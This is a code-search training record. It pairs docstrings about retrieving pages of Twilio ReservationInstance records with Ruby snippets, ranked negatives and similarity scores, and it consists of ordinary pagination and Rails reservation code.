:body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ResourceApi#get_resource_reservation_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def each_resource(start_page, *args, params: nil, max_pages: nil, &block)\n each_page(start_page, *args, params: params, max_pages: max_pages) do |page|\n page.each_resource do |resource|\n block.call(resource)\n end\n end\n end",
"def available_rooms_in_block(block_name:)\n available = reservations.find_all do |reservation|\n reservation.block_name == block_name && reservation.booking_name == nil\n end\n\n return available\n end",
"def each_record(&block)\n return to_enum(:each_record) unless block_given?\n\n @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: true, order: @order).each do |relation|\n relation.records.each(&block)\n end\n end",
"def each\n page = Page.new( @client, @api_model, @uri, @query_params )\n until page.nil?\n yield page\n page = page.next\n end\n end",
"def fetch_reservations(property_id)\n fetcher = Commands::ReservationsFetcher.new(credentials)\n fetcher.call(property_id)\n end",
"def show_reservations\n user = User.find(current_user.id)\n @reservations = user.reservations\n end",
"def each_with_details\n transaction do\n cursor = connection.select_value(\"select place.all_with_attributes('place_cursor')\")\n place = nil\n begin\n # We have to strip off the place information from the first record...\n results = many.next_with_attributes(cursor)\n unless results.empty?\n place = with_details(results)\n yield place\n else\n place = nil\n end\n end while !place.nil?\n end\n end",
"def fetch(key, page, page_size, record_klass, records_counter)\n page, page_size = process_page_params(page, page_size, record_klass)\n return [] if exceeds_max_pages?(page, page_size, records_counter)\n\n start, stop = get_range(page, page_size)\n rs = read_records(key, start, stop, record_klass)\n return rs if rs.present?\n\n if block_given?\n ActiveRecord::Base.with_advisory_lock(\"list/cache/#{key}/#{page}/#{page_size}\", timeout_seconds: 3) do\n rs = read_records(key, start, stop, record_klass)\n return rs if rs.present?\n\n records = yield\n return [] if records.blank?\n\n load_records(key, page, page_size, records, record_klass)\n end\n end\n end",
"def each(&block)\n @result_records.each(&block)\n end",
"def each(&block)\n max_id = nil\n\n 100.times do\n tweets = tweets_before(max_id)\n break if tweets.empty?\n\n tweets.each(&block) if block_given?\n\n max_id = tweets.map { |tweet| tweet['id'] }.min - 1 # Don't fetch the same tweet again\n end\n end",
"def set_reservations\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservations\n @reservation = Reservation.find(params[:id])\n end",
"def prepare_all\n reservations = []\n @items.each do |id, quantity|\n quantity.times do\n reservations << Reservation.new(reserver: reserver,\n start_date: @start_date,\n due_date: @due_date,\n equipment_model_id: id)\n end\n end\n reservations\n end",
"def list(reservation_status: :unset, limit: nil, page_size: nil)\n self.stream(\n reservation_status: reservation_status,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def each(n, limit = 10, &block)\n generate(n, limit, block)\n end",
"def each(&block)\n get unless loaded\n self.objects.first[1].each(&block) rescue nil\n end",
"def each(&block)\n Fetcher.new(self).each(&block)\n end",
"def all_recurrings(&block)\n recurrings.list(&block)\n end",
"def new\n unless r = params['reservation-times'] || session['reservation-times']\n return select_times_first\n end\n resource_id = r.keys.first\n sll_times = r[resource_id] \n return select_times_first if sll_times.blank?\n\n @reservation = Reservation.new({ \n :start_datetime => Time.parse(sll_times.first), \n :end_datetime => Time.parse(sll_times.last) + 1.hour,\n :resource_id => resource_id\n })\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def reservation_search(limit, offset)\n repository.adapter.select(query_strategy.query_reservation_search(limit, offset))\n end",
"def find_each(&block)\n find_in_batches do |batch|\n batch.each(&block)\n end\n end",
"def auto_paging_each(&blk)\n return enum_for(:auto_paging_each) unless block_given?\n\n page = self\n\n loop do\n page.each(&blk)\n page = page.next_search_result_page\n\n break if page.empty?\n end\n end",
"def each\n limits = @version.read_limits\n \n page = self.page(\n page_size: limits['page_size'],\n )\n \n @version.stream(page,\n limit: limits['limit'],\n page_limit: limits['page_limit']).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each(&block)\n current_page = self\n while current_page\n current_page.results.each(&block)\n current_page = current_page.next_page\n end\n end",
"def index\n @reservations = Reservation.includes(:guest).all\n end",
"def find_all(&block)\r\n copy_and_return(@records.select(&block))\r\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size],)\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def make_reservation(start_date: Date.today, end_date: Date.today + 2, group_name: \"\", num_of_rooms: 1)\n if group_name != \"\"\n found_block = Block.find_block(blocks, group_name, start_date: start_date, end_date: end_date)\n\n if found_block == nil\n new_block = create_a_block(group_name, start_date: start_date, end_date: end_date)\n else\n new_block = found_block\n end\n\n final_list = Block.all_available_rooms_in_block(blocks, group_name, start_date: start_date, end_date: end_date)\n\n if (final_list == nil) || final_list.length < num_of_rooms\n raise StandardError.new(\"Not enough available rooms for this date range.\")\n else\n num_of_rooms.times do |k|\n room_number = final_list[k]\n new_reservation = Reservation.new(room_number, start_date: start_date, end_date: end_date, room_rate: new_block.room_rate, group_name: group_name)\n # Right here: I am modifying an attribute of the Block class\n # new_block.room_list[room_number] = :UNAVAILABLE\n new_block.change_status(room_number)\n reservations << new_reservation\n end\n end\n else\n room_list = Room.all_available_rooms(rooms, start_date: start_date, end_date: end_date)\n\n if room_list.length < num_of_rooms\n raise StandardError.new(\"Not enough available rooms for this date range. Only #{room_list.length} rooms available.\")\n else\n num_of_rooms.times do |j|\n new_reservation = Reservation.new(room_list[j], start_date: start_date, end_date: end_date)\n\n room = Room.find_room(rooms, room_list[j])\n\n room.change_status_of_room(rooms, room_list[j], start_date: start_date, end_date: end_date)\n reservations << new_reservation\n end\n end\n end\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each(&block)\n return [] if total_items == 0\n @response['items'].each do |item|\n block.call(Item.new(item))\n end\n end",
"def index\n @reservations = Reservation.is_public.confirmed.order(updated_at: :desc).limit(500)\n end",
"def query_movie_ids(&block)\n @source.query_with_pagination(@queries[:movies], @queries[:count_movies], &block)\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size],)\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def find_each(options = {})\n find_in_batches(options) do |records|\n records.each { |record| yield record }\n end\n end",
"def fetch(&block)\n block.call(true, 20)\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def reserve(limit: 1000)\n record_ids = Set.new\n while record_ids.size < limit && (record_id = Searchkick.with_redis { |r| r.rpop(redis_key) })\n record_ids << record_id\n end\n record_ids.to_a\n end"
] |
[
"0.6061828",
"0.590731",
"0.58006203",
"0.56511086",
"0.5615702",
"0.5598442",
"0.5386773",
"0.53819895",
"0.5355276",
"0.5296818",
"0.52892333",
"0.5276433",
"0.5223779",
"0.5134384",
"0.50909615",
"0.5085312",
"0.5066368",
"0.5063402",
"0.5031241",
"0.50076544",
"0.49771437",
"0.49694514",
"0.4958667",
"0.4951351",
"0.49400437",
"0.49221563",
"0.49197468",
"0.4910333",
"0.4904555",
"0.49024665",
"0.48894104",
"0.48740333",
"0.48703423",
"0.4868298",
"0.48531",
"0.4848981",
"0.48334372",
"0.48316395",
"0.4823029",
"0.48069045",
"0.47988918",
"0.47928733",
"0.47795722",
"0.47630313",
"0.4756582",
"0.47513446",
"0.47456697",
"0.47456697",
"0.4741215",
"0.4735225",
"0.47351706",
"0.47283483",
"0.47198084",
"0.47176343",
"0.47166598",
"0.47133476",
"0.4711575",
"0.47112063",
"0.4708945",
"0.47009078",
"0.47009078",
"0.47009078",
"0.47009078",
"0.47009078",
"0.4694823",
"0.46908364",
"0.46886927",
"0.46839046",
"0.46826732",
"0.4676344",
"0.46732944",
"0.46717122",
"0.46703178",
"0.46606448",
"0.46601883",
"0.46570373",
"0.4656563",
"0.4656563",
"0.46551314"
] |
0.47103518
|
78
|
Retrieve a single page of ReservationInstance records from the API. Request is executed immediately.
|
def page(reservation_status: :unset, page_token: :unset, page_number: :unset, page_size: :unset)
params = Twilio::Values.of({
'ReservationStatus' => reservation_status,
'PageToken' => page_token,
'Page' => page_number,
'PageSize' => page_size,
})
response = @version.page('GET', @uri, params: params)
ReservationPage.new(@version, response, @solution)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @reservations = V2::Reservation.order(id: :desc).page(params[:page])\n end",
"def index\n scope = apply_scopes(Reservation)\n @reservations = scope.respond_to?(:to_a) ? scope.to_a : scope.all\n @reservations = @reservations.paginate(page: params['page'])\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n\n if request.format == Mime::XML\n limit=params[:limit].nil? ? 1000: params[:limit]\n else\n limit=params[:limit].nil? ? 50 : params[:limit]\n end\n\n @reservations = Reservation.paginate :page => params[:page] || 1, :per_page => limit, :conditions => [\"user_id = ? AND historical = ?\", session[:user_id], 0], :order => \"id\"\n\n respond_to do |format|\n format.xml { render :xml => @reservations }\n format.any { render :json => @reservations }\n end\n end",
"def run\n if params[:instance_id]\n params[:filter] ||= []\n params[:filter] << { name: 'instance-id', value: params[:instance_id] }\n end\n result = generate_result(\n reservation_set: reservations.itemize\n )\n result\n end",
"def index\n @reservations = Reservation.all.paginate(:page => params[:page]).per_page(10)\n authorize! :index, :Reservations\n end",
"def get_instance(payload)\n ReservationInstance.new(@version, payload, workspace_sid: @solution[:workspace_sid], worker_sid: @solution[:worker_sid])\n end",
"def show\n @reservation = Reservation.find(params[:id])\n end",
"def show\n @reservation = Reservation.find(params[:id])\n end",
"def show\n @reservation = Reservation.find(params[:id])\n end",
"def index\n @reservations = @apartment.reservations.all\n end",
"def load_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def init_instances\n instances = []\n next_token = nil\n all_records_retrieved = false\n\n until all_records_retrieved\n response = @@client.describe_instances({\n next_token: next_token\n })\n next_token = response.next_token\n all_records_retrieved = next_token.nil? || next_token.empty?\n instances << response.reservations.map { |r| r.instances }\n end\n\n instances.flatten\n end",
"def show\n @reservation = Reservation.new\n begin\n @current_reservation = Reservation.where(\n vacation_property_id: @vacation_property.id, \n guest_phone: @user.phone_number,\n status: 1)\n .first \n rescue Exception => e\n puts \"e.message\"\n end\n end",
"def index\n @reservations = Reservation.includes(:guest).all\n end",
"def show\n begin\n @response = Booking.get_booking(params[:id])\n rescue RestClient::Exception => exception\n @error = exception.response\n end\n end",
"def index\n @reservation_details = ReservationDetail.all\n end",
"def show\n @search = @room.reservations.search(params[:q])\n @reservations = @search.result.where(\"initial_date > ?\", Date.today).paginate(:page => params[:page], :per_page => 4)\n end",
"def index\n @reservations = Reservation.is_public.confirmed.order(updated_at: :desc).limit(500)\n end",
"def index\n @instances = Instance.page params[:page]\n authorize! :read, @instances\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @instances }\n end\n end",
"def index\n @reservations = Reservation.all.where(user_id: current_user.id)\n end",
"def show\n @reservation = Reservation.new\n end",
"def show_reservations\n user = User.find(current_user.id)\n @reservations = user.reservations\n end",
"def fetch_reservations(property_id)\n fetcher = Commands::ReservationsFetcher.new(credentials)\n fetcher.call(property_id)\n end",
"def instance\n perform_request_with_object(:get, '/api/v1/instance', {}, Mastodon::Instance)\n end",
"def index\n page = params[:page]\n per_page = (params[:per_page] || 10).to_i\n if page\n entities = _all_instances_query.page(page).per(per_page)\n render json: entities, entity: _get_class,\n meta: { total_pages: entities.total_pages, total_count: entities.total_count }\n else\n entities = _all_instances_query\n respond_with entities, entity: '_get_class'\n end\n end",
"def show\n @reservation = Reservation.new\n end",
"def show\n @reservation = Reservation.new\n end",
"def get_by_property\n @api_v1_reservation = current_api_v1_user.properties.find(params[:id]).reservations\n render template: '/api/v1/reservations/index', status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end",
"def get_instance instance_id\n execute do\n instances.get_instance(\n instance_path(instance_id)\n )\n end\n end",
"def get_page(target_url)\n response = @version.domain.request(\n 'GET',\n target_url\n )\n ReservationPage.new(@version, response, @solution)\n end",
"def instance\n perform_request_with_object(:get, '/api/v1/instance', {},\n Mastodon::Instance)\n end",
"def new\n unless r = params['reservation-times'] || session['reservation-times']\n return select_times_first\n end\n resource_id = r.keys.first\n sll_times = r[resource_id] \n return select_times_first if sll_times.blank?\n\n @reservation = Reservation.new({ \n :start_datetime => Time.parse(sll_times.first), \n :end_datetime => Time.parse(sll_times.last) + 1.hour,\n :resource_id => resource_id\n })\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def index\n @employee_reservations = Employee::Reservation.all\n end",
"def index\n @reservations = @bus.reservations\n end",
"def index\n @space_reservations = SpaceReservation.all\n end",
"def existing_reservations\n start_dt = self.start_dt.try(:to_datetime).try(:change, offset: \"+0000\")\n end_dt = self.end_dt.try(:to_datetime).try(:change, offset: \"+0000\")\n room_id = self.room.try(:id)\n results_size = (self.is_block?) ? 1000 : 1\n\n return [] if room_id.blank? || start_dt.blank? || end_dt.blank?\n block_query = [{ term: { is_block: false } }, { range: { end_dt: { gte: Time.zone.now.to_datetime.change(offset: \"+0000\") } } }]\n query =\n {\n query: {\n constant_score: {\n filter: {\n bool: {\n must: [\n { term: { room_id: room_id } },\n { term: { deleted: false }},\n { bool:\n {\n should: [\n {\n bool: {\n must: [\n { range: { start_dt: { gte: start_dt } } },\n { range: { start_dt: { lt: end_dt } } }\n ]\n }\n },\n {\n bool: {\n must: [\n { range: { end_dt: { gt: start_dt } } },\n { range: { end_dt: { lte: end_dt } } }\n ]\n }\n },\n {\n bool: {\n must: [\n { range: { start_dt: { lte: start_dt } } },\n { range: { end_dt: { gte: end_dt } } }\n ]\n }\n }\n ]\n }\n }\n ]\n }\n }\n }\n },\n size: results_size\n }\n query[:query][:constant_score][:filter][:bool][:must] += block_query if self.is_block?\n return Reservation.search(query).results\n end",
"def describe_instances\n return { reservations: [] } unless configured?\n\n @client.describe_instances.to_h\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reservation }\n end\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reservation }\n end\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reservation }\n end\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reservation }\n end\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reservation }\n end\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reservation }\n end\n end",
"def show\n @reservation = Reservation.find(params[:id])\n render :show \n end",
"def preload\n today = Date.today\n reservations = @location.reservations\n .where(\n 'start_date >= ? ', today\n )\n .select('id, status, start_date')\n\n render json: reservations\n end",
"def page(authorization: :unset, segment_id: :unset, reservation_id: :unset, page_token: :unset, page_number: :unset, page_size: :unset)\n params = Twilio::Values.of({\n 'Authorization' => authorization,\n 'SegmentId' => segment_id,\n \n 'ReservationId' => Twilio.serialize_list(reservation_id) { |e| e },\n 'PageToken' => page_token,\n 'Page' => page_number,\n 'PageSize' => page_size,\n })\n\n response = @version.page('GET', @uri, params: params)\n\n InsightsSegmentsPage.new(@version, response, @solution)\n end",
"def index\n @reservations = Reservation.all\n #@reservations = current_user.reservations\n end",
"def list(reservation_status: :unset, limit: nil, page_size: nil)\n self.stream(\n reservation_status: reservation_status,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def index\n @reservacions = Reservacion.all\n end",
"def index\n render json: reservations\n end",
"def show\n @reservation = current_user.reservations.find(params[:id])\n respond_with(@reservation)\n end",
"def get_resource_reservation_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ResourceApi.get_resource_reservation_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/resource/Reservations'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'ResourceReservationResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"ResourceApi.get_resource_reservation_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ResourceApi#get_resource_reservation_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n #@reservations = Reservation.all\n @reservations = current_user.reservations #.order(\"created_at DESC\")\n #@eateries = Eatery.all.order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 5)\n end",
"def show\n\t\t@reservations = Reservation.where(listing_id: @listing.id)\n\t\t# @listing = Listing.search(params[:search], params[:city])\n\n\tend",
"def index\n if user_signed_in?\n @reservations = current_user.reservations\n elsif owner_signed_in?\n @reservations = []\n # current_owner.restaurants.each {|rest| @reservations += rest.reservations}\n if current_owner.restaurant.blank?\n @reservations = []\n else\n @reservations = current_owner.restaurant.reservations\n end\n end\n @reservations = @reservations.order(\"id desc\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def reservations\n @reservations ||= flight.reservations\n end",
"def index\n @reserves = Reserve.all\n end",
"def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def index\n @reservations = Reservation.all\n @reservation_statuses = @@reservation_statuses\n end",
"def index\n #@agenda_reserv_resources = Agenda::ReservResource.all\n @agenda_reserv_resources = Agenda::ReservResource.search(params[:search]).order(\"#{sort_column} #{sort_direction}\").paginate(per_page: 15, page: params[:page])\n end",
"def get_instance instance_id\n instances.get_instance name: instance_path(instance_id)\n end",
"def list(authorization: :unset, segment_id: :unset, reservation_id: :unset, limit: nil, page_size: nil)\n self.stream(\n authorization: authorization,\n segment_id: segment_id,\n reservation_id: reservation_id,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def index\n @odsreserves = Odsreserf.all.page(params[:page])\n end",
"def show\n model = Reservation.find(params[:id])\n @reservation = ReservationDecorator.decorate(model)\n @conflicts = ReservationDecorator.decorate_collection(Reservation.conflicting(model))\n end",
"def describe_instances(parameters, secret)\n if @secret != secret\n return BAD_SECRET_RESPONSE\n end\n\n DESCRIBE_INSTANCES_REQUIRED_PARAMS.each { |required_param|\n if parameters[required_param].nil? or parameters[required_param].empty?\n return {\"success\" => false, \"reason\" => \"no #{required_param}\"}\n end\n }\n\n reservation_id = parameters[\"reservation_id\"]\n if @reservations[reservation_id].nil?\n return RESERVATION_NOT_FOUND_RESPONSE\n end\n\n return @reservations[reservation_id]\n end",
"def show\n @vehicle_reservation = VehicleReservationDecorator.decorate(VehicleReservation.find(params[:id]))\n end",
"def index\n @customer_reservations = CustomerReservation.all\n end",
"def stream(reservation_status: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n reservation_status: reservation_status,\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def process_payment\n @reservation = Reservation.find(params[:id])\n end",
"def index\n @reserve_records = ReserveRecord.all\n end",
"def index\n @manifestation_reserve_stats = ManifestationReserveStat.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def show\n reservation = Reservation.find(params[:id])\n render('show',:locals => {:reservation => reservation})\n end",
"def show\n authorize! :show, @reservation\n @user = current_user\n @reservations = Reservation.select{|res| res.teacher_id == @user.id}\n end",
"def index\n @phone_reservations = PhoneReservation.all\n end",
"def show\n @instance = Instance.find(params[:id])\n render :json =>@instance\n end",
"def instances\n instances = []\n JSON.parse(resource['/instances'].get)[\"instances\"].each do |i|\n instances << Instance.new(i)\n end\n return instances\n end",
"def index\n @reservas = Reserva.all\n end",
"def index\n @reservas = Reserva.all\n end",
"def index\n @demand_responses = DemandResponse.order(id: :desc).paginate(page: params[:page])\n end",
"def set_reservations\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservations\n @reservation = Reservation.find(params[:id])\n end",
"def index\n @reservationcs = Reservationc.all\n end",
"def call(params)\n payload = build_payload(params)\n result = http.post(endpoint(:property_booking), payload, content_type)\n\n if result.success?\n result_hash = response_parser.to_hash(result.value.body)\n\n if valid_result?(result_hash)\n reservation = SAW::Mappers::Reservation.build(params, result_hash)\n\n Result.new(reservation)\n else\n error_result(result_hash, result.value.body)\n end\n else\n result\n end\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reservation }\n end\n end"
] |
[
"0.7140015",
"0.64149225",
"0.620297",
"0.620297",
"0.620297",
"0.620297",
"0.620297",
"0.620297",
"0.620297",
"0.620297",
"0.620297",
"0.620297",
"0.620297",
"0.620297",
"0.620297",
"0.620297",
"0.620297",
"0.614509",
"0.6142477",
"0.6093186",
"0.60762304",
"0.6062868",
"0.6062868",
"0.6062868",
"0.6054581",
"0.60377264",
"0.6021104",
"0.5943864",
"0.5934922",
"0.5902046",
"0.5897265",
"0.58810514",
"0.5873525",
"0.5855307",
"0.5847659",
"0.5832813",
"0.5818852",
"0.5782739",
"0.5776572",
"0.57631737",
"0.5761601",
"0.5761601",
"0.57585645",
"0.57576835",
"0.57476425",
"0.5747026",
"0.5735812",
"0.5726559",
"0.5723389",
"0.5720862",
"0.5707509",
"0.5685832",
"0.5679546",
"0.5679546",
"0.5679546",
"0.5679546",
"0.5679546",
"0.5679546",
"0.56413686",
"0.5638976",
"0.56270564",
"0.56227994",
"0.5601015",
"0.558777",
"0.5584997",
"0.5584368",
"0.5580962",
"0.55621845",
"0.555982",
"0.554716",
"0.55412173",
"0.5511363",
"0.5509756",
"0.5509756",
"0.5469241",
"0.54635066",
"0.54605234",
"0.54589415",
"0.54558915",
"0.54447275",
"0.54342985",
"0.5430031",
"0.54181206",
"0.5412538",
"0.5409722",
"0.5380944",
"0.53729075",
"0.5355499",
"0.53543484",
"0.5353723",
"0.5353017",
"0.53525746",
"0.5344135",
"0.5344135",
"0.5339537",
"0.53364825",
"0.53364825",
"0.533057",
"0.53297704",
"0.5329494"
] |
0.6298048
|
2
|
Retrieve a single page of ReservationInstance records from the API. Request is executed immediately.
|
def get_page(target_url)
response = @version.domain.request(
'GET',
target_url
)
ReservationPage.new(@version, response, @solution)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @reservations = V2::Reservation.order(id: :desc).page(params[:page])\n end",
"def index\n scope = apply_scopes(Reservation)\n @reservations = scope.respond_to?(:to_a) ? scope.to_a : scope.all\n @reservations = @reservations.paginate(page: params['page'])\n end",
"def page(reservation_status: :unset, page_token: :unset, page_number: :unset, page_size: :unset)\n params = Twilio::Values.of({\n 'ReservationStatus' => reservation_status,\n 'PageToken' => page_token,\n 'Page' => page_number,\n 'PageSize' => page_size,\n })\n\n response = @version.page('GET', @uri, params: params)\n\n ReservationPage.new(@version, response, @solution)\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n\n if request.format == Mime::XML\n limit=params[:limit].nil? ? 1000: params[:limit]\n else\n limit=params[:limit].nil? ? 50 : params[:limit]\n end\n\n @reservations = Reservation.paginate :page => params[:page] || 1, :per_page => limit, :conditions => [\"user_id = ? AND historical = ?\", session[:user_id], 0], :order => \"id\"\n\n respond_to do |format|\n format.xml { render :xml => @reservations }\n format.any { render :json => @reservations }\n end\n end",
"def run\n if params[:instance_id]\n params[:filter] ||= []\n params[:filter] << { name: 'instance-id', value: params[:instance_id] }\n end\n result = generate_result(\n reservation_set: reservations.itemize\n )\n result\n end",
"def index\n @reservations = Reservation.all.paginate(:page => params[:page]).per_page(10)\n authorize! :index, :Reservations\n end",
"def get_instance(payload)\n ReservationInstance.new(@version, payload, workspace_sid: @solution[:workspace_sid], worker_sid: @solution[:worker_sid])\n end",
"def show\n @reservation = Reservation.find(params[:id])\n end",
"def show\n @reservation = Reservation.find(params[:id])\n end",
"def show\n @reservation = Reservation.find(params[:id])\n end",
"def index\n @reservations = @apartment.reservations.all\n end",
"def load_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def init_instances\n instances = []\n next_token = nil\n all_records_retrieved = false\n\n until all_records_retrieved\n response = @@client.describe_instances({\n next_token: next_token\n })\n next_token = response.next_token\n all_records_retrieved = next_token.nil? || next_token.empty?\n instances << response.reservations.map { |r| r.instances }\n end\n\n instances.flatten\n end",
"def show\n @reservation = Reservation.new\n begin\n @current_reservation = Reservation.where(\n vacation_property_id: @vacation_property.id, \n guest_phone: @user.phone_number,\n status: 1)\n .first \n rescue Exception => e\n puts \"e.message\"\n end\n end",
"def index\n @reservations = Reservation.includes(:guest).all\n end",
"def show\n begin\n @response = Booking.get_booking(params[:id])\n rescue RestClient::Exception => exception\n @error = exception.response\n end\n end",
"def index\n @reservation_details = ReservationDetail.all\n end",
"def show\n @search = @room.reservations.search(params[:q])\n @reservations = @search.result.where(\"initial_date > ?\", Date.today).paginate(:page => params[:page], :per_page => 4)\n end",
"def index\n @reservations = Reservation.is_public.confirmed.order(updated_at: :desc).limit(500)\n end",
